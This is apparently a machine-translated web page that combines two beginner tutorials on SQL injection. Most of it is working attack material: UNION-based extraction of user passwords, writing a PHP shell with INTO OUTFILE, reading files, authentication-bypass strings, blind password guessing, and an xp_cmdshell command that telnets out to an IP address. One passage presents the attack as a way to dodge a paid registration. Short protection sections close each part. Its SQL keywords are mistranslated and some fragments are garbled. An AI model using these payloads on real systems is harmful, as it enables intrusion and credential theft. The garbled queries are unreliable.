Op, vidimo grešku, to znači da je broj polja manji od 8.

Ako nema greške sa GROUP BY 4, a sa GROUP BY 6 postoji greška, tada je broj polja 5

Definiranje izlaznih kolona
Kako bismo osigurali da nam se ništa ne prikazuje od prvog zahtjeva, dovoljno je zamijeniti nepostojeći ID, na primjer:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


Ovom akcijom smo odredili koje se kolone prikazuju na stranici. Sada, kako biste ove brojeve zamijenili potrebnim informacijama, morate nastaviti zahtjev.

Izlaz podataka

Recimo da znamo da tabela još uvek postoji korisnika u kojima postoje polja id, ime I pass.
Moramo dobiti informacije o korisniku sa ID=1

Stoga, napravimo sljedeći upit:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 OD korisnika GDJE id=1
Skripta također nastavlja sa izlazom

Da bismo to učinili, zamijenit ćemo nazive polja umjesto brojeva 1 i 3

Sqlinj/index1.php?id=-1 UNION SELECT ime,2,pass,4,5 OD korisnika GDJE id=1
Dobili smo šta nam je trebalo!

Za "string ulazni parametar" kao u skripti index2.php morate dodati navodnik na početku i komentar na kraju. primjer:
sqlinj/index2.php?user=-1" UNION SELECT ime,2,pass,4,5 OD korisnika GDJE id=1 --%20

Čitanje/pisanje datoteka

Za čitanje i pisanje datoteka, korisnik baze podataka mora imati prava FILE_PRIV.
Snimanje fajlova
U stvari, sve je vrlo jednostavno. Za pisanje datoteke koristit ćemo funkciju OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Odlično, fajl je registrovan kod nas. Tako možemo ispuniti mini školjku:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 U OUTFILE "1.php" --%20
Čitanje fajlova
Čitanje datoteka je čak lakše nego pisanje. Dovoljno je jednostavno koristiti funkciju LOAD_FILE, za mjesto polja koje biramo:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Dakle, pročitali smo prethodni pisani fajl.

Metode zaštite

Zaštititi se čak je lakše nego iskoristiti ranjivost. Samo filtrirajte podatke. Ako prenosite brojeve, koristite
$id = (int) $_GET["id"];
Kao što je predložio korisnik malroc. Zaštitite se koristeći PDO ili pripremljene izjave.

Umjesto završetka

Ovdje želim završiti svoj prvi dio o “SQL injekciji za početnike”. U drugom ćemo pogledati teže primjere injekcija. Pokušajte pisati ranjive skripte i sami izvršavati upite.
I zapamtite, nemojte vjerovati nijednom korisniku vaše stranice.

Oznake: Dodaj oznake

SQL injekcija prilično dobra prilika za hakera
pristup serveru. I uz malo truda, on
jos uvek shvatam :)

Koder unutra

Danas je podržan rad sa bazama podataka
gotovo svi programski jezici, oni uključuju BASIC, C++, Java, PERL, PHP, Assembler, pa čak i JavaScript! A ti programi se ne zovu ništa drugo do DBMS - sistemi za upravljanje bazom podataka. Baze podataka se često koriste za rješavanje finansijskih problema,
računovodstva, kadrovske organizacije, ali su svoju primjenu našli i na internetu.

Baze podataka se često koriste za pisanje WEB aplikacija. Njihova upotreba je najprikladnija za pohranjivanje podataka o registraciji korisnika, identifikatora sesije, organiziranje pretraživanja, kao i druge zadatke koji zahtijevaju više obrade
količina podataka. Za pristup bazi podataka koriste se serverske tehnologije: PHP, PERL, ASP itd. Ovdje zabava počinje. Kada je na serveru
sve zakrpe su instalirane i firewall blokira sve portove osim porta 80 ili kada je potrebna autentikacija za pristup nekim podacima, haker može koristiti SQL Injection za hakovanje. Suština ovog napada je da se iskoristi greška na raskrsnici WEB tehnologija i SQL-a. Činjenica je da mnoge web stranice za obradu korisničkih podataka čine posebne SQL zahtjev baze podataka. Nepažljivo korištenje ove tehnike može dovesti do prilično zanimljivih rezultata...

SQL injekcija

Da objasnimo napad, zamislimo da ste otišli na stranicu da preuzmete jedan vrlo važan alat i sa užasom primijetite da samo registrovani korisnik to može učiniti, a registracija naravno košta :) Ne želite dati vaš posljednji zarađeni novac, ali ne možete to učiniti bez programa! Vrijeme je da se prisjetimo kako
pristup bazama podataka SQL. Na primjer, provjera vaše prijave i lozinke u PHP-u može izgledati ovako:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" I
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
if ($num_rows!=0)
{
// AUTENTIKACIJA OK
}
ostalo
{
// GREŠKA AUTHENTIKACIJE
}

Dodao sam dva komentara, "AUTHENTICATION OK" - trebao bih ga zamijeniti
idite na kod koji će se izvršiti ako su lozinka i prijava ispravni. Još jedna “GREŠKA AUTHENTIKACIJE” je mjesto gdje će biti opisan kod koji će se izvršiti ako je netačan. Ako popunite formular, zahtjev će izgledati kao “http://www.server.com?login=user&password=31337”, gdje je www.server.com naziv
server na koji pokušavamo da se povežemo. Našli smo ono što smo tražili i stoga ćemo se ponovo vratiti na posao SQL. Dakle, ako morate navesti login i lozinku za autorizaciju, onda generirana SQL zahtjev će izgledati ovako:

SELECT * FROM users WHERE login="korisnik" I
lozinka="31337"

To znači otprilike ovako: vrati mi sve zapise iz baze podataka korisnika čiji je login “user” i lozinka je “31337”. Ako takav zapis postoji, onda je korisnik registrovan, a ako ne, onda ne... Ali pod određenim okolnostima sve se može ispraviti. Ovo se odnosi na situaciju kada aplikacija ne provjerava sadržaj prenesenih podataka ili ga ne provjerava u potpunosti na prisutnost SQL instrukcije. U ovom primjeru se provjeravaju dva polja za prijavu i lozinku, ali ako navedete “31337′ I email=’ kao lozinku [email protected]”(bez dvostrukih navodnika), tada će upit ispasti malo drugačiji:

SELECT * FROM users WHERE login="korisnik" I lozinka="31337" I
email=" [email protected]"

A ako polje e-pošte postoji, ovaj uvjet će također biti provjeren. Ako se sjetite osnova Booleove algebre, pada vam na pamet da pored operacije "i" postoji i "ili", a pošto je njihovo korištenje podržano od strane SQL-a, možete
na opisani način dodajte uslov koji uvijek vraća true. Da biste to učinili, morate navesti “korisnik’ OR 1=1—” kao prijavu, u kom slučaju će zahtjev imati oblik:

SELECT * FROM users WHERE login="user" OR 1=1--" I
lozinka="31337"

Prvo trebate znati da "—" znači kraj zahtjeva, a sve nakon "—"
neće biti obrađeno! Ispostavilo se da smo postavili zahtjev:

SELECT * FROM users WHERE login="user" OR 1=1

Kao što vidite, dodali smo uslov "1=1", što znači da će kriterijum verifikacije biti "ako je prijava 'korisnik' ili 1=1", ali je 1 uvek jednako 1 (jedini izuzetak može biti aritmetika Danija Šepovalova :)). Da testiramo naše sumnje
Unesite “http://www.server.com?login=user ili 1=1—&password=31337” u adresnu traku. To dovodi do toga da nije bitno koji smo login naveli, već
posebno šifra! A mi smo u matrici... oh, u sistemu i možemo mirno preuzeti ono što nam treba.

Ali ovo je sve u teoriji. U praksi ne znamo kako se formira zahtjev, koji se podaci prenose i kojim redoslijedom. Stoga je potrebno za sva polja navesti “korisnik’ ILI 1=1—”. Također biste trebali provjeriti da li u obrascu za podnošenje postoje skrivena polja. U HTML-u su opisani kao " " Ako postoje, sačuvajte stranicu i promijenite vrijednosti ovih polja. Vrijednosti sadržane u njima često se zaboravljaju provjeriti na prisutnost SQL naredbi. Ali da bi sve funkcioniralo, trebali biste navesti punu putanju do skripte koja obrađuje ovaj zahtjev u obrascu (oznaka “FORM”) za parametar “ACTION”.

Ali nije uvijek poznato kako je zahtjev formiran,
Prethodni primjer bi se mogao formirati na sljedeće načine:

ODABIR * OD korisnika GDJE (login="korisnik" I lozinka="31337")
SELECT * FROM users WHERE login="korisnik" I lozinka="31337"
SELECT * FROM users WHERE login=korisnik I lozinka=31337

U tom slučaju možete isprobati sljedeće opcije:

'ILI 1=1—
» ILI 1=1—
ILI 1=1—
‘ ILI ‘a’=’a
"ILI "a"="a
‘) ILI (‘a’=’a
ILI '1'='1'

Sve zavisi od svrhe skripte i od programera. Budući da svaka osoba ima tendenciju da sve radi na svoj način, sasvim je moguće da programer neće izabrati najlakšu opciju. Stoga, ne biste trebali odmah
odustani ako budeš odbijen. Neophodno
probaj sto vise opcija...

Otkrivanje lozinke

Zaobilaženje autorizacije nije loše, ali vrlo često se rupa koju koristite zatvori i izgubi sve što vam je bilo dostupno.
Ovo je za očekivati ​​ako programer nije budala
Vremenom će zatvoriti sve rupe. Takvih situacija se lako možete riješiti ako se o tome unaprijed pobrinete. Ispravno rješenje može biti pogoditi lozinku koristeći
analiza rezultata autentifikacije. Prvo, pokušajmo pogoditi lozinku, da biste to učinili, unesite njenu lokaciju:

'ILI lozinka>'a

Ako nam se kaže da je autorizacija prošla, onda lozinka
ne počinje slovom “a”, već jednim od sljedećih na listi. Idemo dalje i zamijenimo
mesto "a", sledeće "b", "c", "d", "e"... itd. dok nam ne kažu da lozinka nije tačna. Neka se ovaj proces zaustavi na simbolu “x”, u kom slučaju se stvaraju dvije opcije za razvoj situacije: lozinka je pronađena ili lozinka počinje ovim simbolom. Da biste provjerili prvu opciju, upišite lokaciju lozinke:

‘ILI lozinka=’x

i ako je lozinka prihvaćena i dozvoljeno vam je ulazak, onda ste pogodili lozinku! Pa, ne, onda bi trebalo da izaberete drugi znak,
potpuno isto, od početka. Provjerite postoje li dva znaka
treba isto. Na kraju ćete dobiti lozinku, a na isti način ćete tražiti i login :)
Ako vam pronađena lozinka i prijava ne odgovaraju, možete pronaći druge. Da biste to učinili, morate započeti provjeru od posljednjeg znaka pronađene lozinke. Dakle, ako je lozinka bila “xxx”, potrebno je provjeriti postojanje lozinke
"xxxy":

‘ILI lozinka=’xxx

kako ne biste propustili više od jedne opcije!

MS SQL Server

MS SQL Server je općenito božji dar ako se propusti potrebno filtriranje. Koristeći ranjivost SQL Injection koju možete izvršiti
komande na udaljenom serveru koristeći exec master..xp_cmdshell. Ali koristiti ovaj dizajn
operacija SELECT mora biti dovršena. U SQL-u su izrazi odvojeni tačkom i zarezom. Stoga, da biste se povezali na neki IP putem Telneta, morate upisati lozinku/lokaciju za prijavu:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server ima još nekoliko zanimljivih funkcija koje vam omogućavaju da saznate prijave i lozinke pohranjene u bazi podataka. Da biste to učinili, izlaz greške se preusmjerava na proizvoljni server i preko njega
analize, možete saznati naziv tabele, polja i njihove tipove. Nakon toga možete zatražiti

‘ UNION SELECT TOP 1 prijava OD korisnika—

(login je ime polja koje sadrži login, a korisnici je ime tabele,
poluznanstvenici u procesu analize grešaka).

Odgovor bi mogao biti:


Sintaksička greška pri pretvaranju vrijednosti nvarchar "admin" to a column of data type int. !}
/default.asp, red 27

Sada znamo da postoji korisnik po imenu "admin". Sada možemo dobiti njegovu lozinku:

‘ UNION SELECT TOP 1 lozinka OD korisnika gdje login=’admin’—

rezultat:

Greška Microsoft OLE DB dobavljača za ODBC drajvere "80040e07"
Sintaksička greška pri pretvaranju vrijednosti nvarchar "xxx" to a column of data type int. !}
/tedault.asp, red 27

Sada znamo da postoji korisnik “admin” sa lozinkom “xxx”. Sa ovim možete bezbedno
iskoristite ga i prijavite se na sistem 😉

Ali postoje mnoge druge funkcije za rad sa SQL-om,
Kada radite s bazom podataka, također možete brisati podatke, mijenjati ih, umetati svoje, pa čak i manipulirati datotekama i raditi s registrom.
Generalno, pravila SQL Servera :)

Zaštita

Ali naravno da se sve ovo može izbjeći. To možete učiniti
koristiti filtere,
koje obezbjeđuju proizvođači. Možete pronaći vlastita rješenja, na primjer, zamjenjujući sve pojedinačne
dvostruki navodnici (ako je za SQL zahtjev koristimo pojedinačne), ili obrnuto. Možete dozvoliti upotrebu slova i s@baki samo ako je potrebno da unesete
e-mail adresa. A u biseru je neverovatno
funkciju 🙂 quote() u modulu DBI::DBD, koja uspješno čini vaš upit sigurnim u odnosu na SQL. Rješenja ima mnogo, samo su vam potrebna
iskoristiti. Inače, čemu onda sve ovo...